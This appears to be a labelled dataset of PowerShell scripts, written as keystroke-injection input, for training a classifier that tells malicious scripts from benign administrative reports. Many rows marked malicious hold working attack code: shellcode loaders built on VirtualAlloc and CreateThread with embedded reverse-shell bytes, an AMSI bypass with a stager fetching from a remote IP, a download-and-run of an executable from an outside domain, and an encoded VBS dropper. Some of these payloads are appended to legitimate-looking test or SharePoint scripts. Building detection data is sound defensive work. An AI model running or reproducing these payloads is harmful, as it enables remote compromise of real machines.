$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $ocLReKxN.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($ocLReKxN.GetMethod('GetModuleHandle')).Invoke($null, @($gLo56iXQUgpv)))), $mnHH9xy5)) enter } enter enter function atoj { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $naqa2, enter [Parameter(Position = 1)] [Type] $nZWqHtnt = [Void] enter ) enter enter $vFXHlruGJcV = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $vFXHlruGJcV.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $naqa2).SetImplementationFlags('Runtime, Managed') enter $vFXHlruGJcV.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWqHtnt, $naqa2).SetImplementationFlags('Runtime, Managed') enter enter return $vFXHlruGJcV.CreateType() enter } enter enter [Byte[]]$dAoQzO0Qsy = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgr02gCAAKaieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $iqIlz7IeecSZ = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tkdJ kernel32.dll VirtualAlloc), (atoj @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $dAoQzO0Qsy.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($dAoQzO0Qsy, 0, $iqIlz7IeecSZ, $dAoQzO0Qsy.length) enter enter $r3Hpz4yAF = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tkdJ kernel32.dll CreateThread), (atoj @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$iqIlz7IeecSZ,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tkdJ kernel32.dll WaitForSingleObject), (atoj @([IntPtr], [Int32]))).Invoke($r3Hpz4yAF,0xffffffff) | Out-Null enter enter",1,1,5.5420234e-05,0.99994457
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Downloads the Txt file and opens it. enter REM Version: 1.0 enter REM Category: DownloadAscii enter DELAY 1000 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 560 enter LEFTARROW enter DELAY 500 enter ENTER enter DELAY 700 enter STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/pepeFROG.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximize enter ENTER enter DUCKY_REAL_END enter",1,1,6.148023e-05,0.9999385
"win+r powershell enter $wc=NeW-OBjEcT SYStEM.NeT.WEbCliEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$Wc.HeadeRs.Add('User-Agent',$u);$WC.ProxY = [SyST enter Em.NeT.WEbReQuEsT]::DeFAuLtWebPROXY;$Wc.PROxy.CreDENTIAlS = [SyStEm.NET.CrEDenTi enter aLCAcHe]::DEFaUlTNETwOrKCREdENTIALS;$K='JYW>65NO~a?bMpQ}/T(e enter enter",1,1,5.582873e-05,0.9999442
"win+r enter powershell enter enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter $root = $env:TEMP enter enter function Test-ShouldCreateDirectory enter { enter $dir = Join-Path -Path $root -ChildPath ([IO.Path]::GetRandomFileName()) enter Assert-DirectoryDoesNotExist $dir enter Install-Directory -Path $dir enter try enter { enter Assert-NoError enter Assert-DirectoryExists $dir enter } enter finally enter { enter Remove-Item $dir enter } enter } enter enter function Test-ShouldHandleExistingDirectory enter { enter $dir = Join-Path -Path $root -ChildPath ([IO.Path]::GetRandomFileName()) enter Assert-DirectoryDoesNotExist $dir enter Install-Directory -Path $dir enter try enter { enter Install-Directory -Path $dir enter Assert-NoError enter Assert-DirectoryExists $dir enter } enter finally enter { enter Remove-Item $dir enter } enter } enter enter function Test-ShouldCreateMissingParents enter { enter $dir = Join-Path -Path $root -ChildPath ([IO.Path]::GetRandomFileName()) enter $dir = Join-Path -Path $dir -ChildPath ([IO.Path]::GetRandomFileName()) enter Assert-DirectoryDoesNotExist $dir enter Install-Directory -Path $dir enter try enter { enter Assert-NoError enter Assert-DirectoryExists $dir enter } enter finally enter { enter Remove-Item $dir enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0xfd,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.126523e-05,0.99994874
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_0usds3dq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 3."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.475412e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_4jvea27g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4806926e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ubhwg2w9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3798115e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_x1ippo0w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3743756e-05
"win+r enter powershell enter enter enter  enter param( enter enter [Parameter(Mandatory = $true)] enter $StartupParameter enter ) enter enter $hklmRootNode = ""HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server"" enter enter $props = Get-ItemProperty ""$hklmRootNode\Instance Names\SQL"" enter $instances = $props.psobject.properties | ?{$_.Value -like 'MSSQL*'} | select Value enter enter $instances | %{ enter $inst = $_.Value; enter $regKey = ""$hklmRootNode\$inst\MSSQLServer\Parameters"" enter $props = Get-ItemProperty $regKey enter $params = $props.psobject.properties | ?{$_.Name -like 'SQLArg*'} | select Name, Value enter enter $hasFlag = $false enter foreach ($param in $params) { enter if($param.Value -eq $StartupParameter) { enter $hasFlag = $true enter break; enter } enter } enter if (-not $hasFlag) { enter ""Adding $StartupParameter"" enter $newRegProp = ""SQLArg""+($params.Count) enter Set-ItemProperty -Path $regKey -Name $newRegProp -Value $StartupParameter enter } else { enter ""$StartupParameter already set"" enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://boisedelariviere.com/backup/css/newconfig.exe',""$env:TEMP enter eone6.exe"");Start-Process (""$env:TEMP enter eone6.exe"") enter enter",1,1,5.741814e-05,0.99994254
"win+r powershell enter $path= ""$env:userprofile\appdata\local\microsoft\Windows"" if(-not(Test-Path -Pa enter th($path))) {mkdir $path} $fileout=""$path\L69742.vbs""; $encstrvbs=""c2V0IHdzcyA enter 9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpzdHIgPSAicG93ZXIiICYgInNoIiAmICJlbGw enter iICYgIi5lIiAmICJ4ZSAtTm9QIC1zdGEgLU5vbkkgLWUiICYgInhlIiAmICJjIGJ5cCIgJiAiYXMiICY enter gInMgLWZpIiAmICJsZSAiDQpwYXRoID0gIiNkcGF0aCMiDQpzdHIgPSBzdHIgKyBwYXRoICsgIlxtYy5 enter wczEiDQp3c3MuUnVuIHN0ciwgMCANCg0K""; $bytevbs=[System.Convert]::FromBase64String enter ($encstrvbs); $strvbs=[System.Text.Encoding]::ASCII.GetString($bytevbs); enter enter",1,1,5.6495235e-05,0.9999435
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_w6h1sgl4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4777262e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_l2im0fcd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4945286e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x73,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_v8tuno8x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.9999653,3.4719244e-05
"win+r powershell enter [REf].AsSeMbLY.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetF enter IEld('amsiInitFailed','NonPublic,Static').SETVaLuE($NuLl,$True)};[SYSTem.NET.SEr enter vIcePOINTMANAGeR]::EXpecT100COntInuE=0;$WC=NEw-OBJecT SyStem.NET.WEbClIenT;$u='M enter ozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HeadeRS enter .ADd('User-Agent',$u);$wc.PrOxy=[SyStem.NET.WEbREqUesT]::DeFAulTWEBProXy;$Wc.PRo enter Xy.CRedentiAlS = [SysTeM.NeT.CrEDeNtIAlCAche]::DefaUlTNEtwORKCRedeNTialS;$K=[SYs enter TEM.TExT.ENCODing]::ASCII.GetBYTES('Dv,inKZ<@{3mjG4&1k:Vcl7o)EY*J?6x');$R={$D,$K enter =$ARGs;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnT])%256;$S[$_],$S[$J]=$S[$J enter ],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-b enter XOr$S[($S[$I]+$S[$H])%256]}};$WC.HeADeRS.Add(""Cookie"",""session=S4UqQGzWIqnMvnx/b enter fEPEy+GaDQ="");$ser='http://35.164.97.4:80';$t='/admin/get.php';$DATa=$WC.DOWnLOA enter DDATA($seR+$T);$IV=$ enter",1,1,5.478698e-05,0.99994516
"win+r enter powershell enter enter enter Get-ItemProperty -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*' | Where-Object { $_.Debugger } enter Get-ItemProperty -Path 'HKLM:SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*' | Where-Object { $_.Debugger } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x61,0x1e,0x00,0x00,0xe8,0x8c,0x00,0x00,0x00,0x2f,0x36,0x34,0x56,0x59,0x43,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x75,0xff,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x36,0x2e,0x31,0x2e,0x31,0x35,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0917162e-05,0.9999491
"win+r enter powershell enter enter enter param( enter [switch]$syncPermissions enter ) enter enter . $PSScriptRoot/shared.ps1 enter enter Write-Output -InputObject @"" enter ___ ___ _____ enter | \/ | | __ \ enter | . . |_ __ | | \/ _____ _____ _ __ _ __ __ _ _ __ ___ ___ enter | |\/| | '__| | | __ / _ \ \ / / _ \ '__| '_ \ / _`` | '_ \ / __/ _ \ enter | | | | |_ | |_\ \ (_) \ V / __/ | | | | | (_| | | | | (_| __/ enter \_| |_/_(_) \____/\___/ \_/ \___|_| |_| |_|\__,_|_| |_|\___\___| enter by Puzzlepart enter Code by: @mikaelsvenson enter enter ""@ enter enter $variablesSet = CheckEnvironmentalVariables enter if ($variablesSet -eq $false) { enter Write-Output -InputObject ""Missing one of the following environmental variables: TenantURL, PrimarySiteCollectionOwnerEmail, SiteDirectoryUrl, AppId, AppSecret"" enter exit enter } enter Connect -Url ""$tenantURL$siteDirectorySiteUrl"" enter enter $query = 'spcontenttype=""team site"" path:' + ""$tenantURL$siteDirectorySiteUrl$siteDirectoryList"" enter $res = Submit-PnPSearchQuery -Query $query -All -SelectProperties ""PZLSiteURLOWSURLH"", ""ListItemID"" enter enter foreach ($site in $res.ResultRows) { enter $url = $site[""PZLSiteURLOWSURLH""].split(',')[0] enter $itemId = $site[""ListItemID""] enter Connect -Url ""$tenantURL$siteDirectorySiteUrl"" enter $siteItem = Get-PnPListItem -List $siteDirectoryList -Id $itemId enter enter Write-Output -InputObject ""Processing $url - $itemId"" enter if ($syncPermissions) { enter SyncPermissions -siteUrl $url -item $siteItem enter } enter } enter enter Disconnect-PnPOnline enter $LoKD = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $LoKD -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 